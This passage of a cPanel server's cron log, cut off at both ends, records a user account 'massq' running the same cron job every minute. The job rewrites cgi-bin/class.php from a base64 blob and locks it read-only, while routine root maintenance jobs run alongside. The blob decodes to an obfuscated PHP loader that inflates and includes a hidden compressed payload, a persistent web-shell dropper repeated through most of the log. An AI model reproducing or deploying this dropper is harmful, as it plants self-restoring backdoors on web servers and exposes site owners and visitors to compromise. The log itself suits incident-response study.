"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:55:01 server CROND[7120]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 03:55:01 server CROND[7121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 03:55:01 server CROND[7123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:56:01 server CROND[7254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:57:01 server CROND[7308]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 03:57:01 server CROND[7309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:58:01 server CROND[7367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 03:59:02 server CROND[7544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:00:01 server CROND[7636]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 04:00:01 server CROND[7638]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  6 04:00:01 server CROND[7639]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 04:00:01 server CROND[7640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:00:01 server CROND[7641]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 04:01:01 server CROND[7794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:01:01 server CROND[7795]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 04:01:01 server run-parts(/etc/cron.hourly)[7795]: starting 0anacron
Apr  6 04:01:01 server run-parts(/etc/cron.hourly)[7807]: finished 0anacron
Apr  6 04:02:01 server CROND[7878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:03:01 server CROND[7951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:04:01 server CROND[8137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:05:01 server CROND[8255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:05:01 server CROND[8256]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 04:05:01 server CROND[8257]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 04:05:01 server CROND[8258]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 04:06:01 server CROND[8385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 04:07:01 server CROND[8471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmK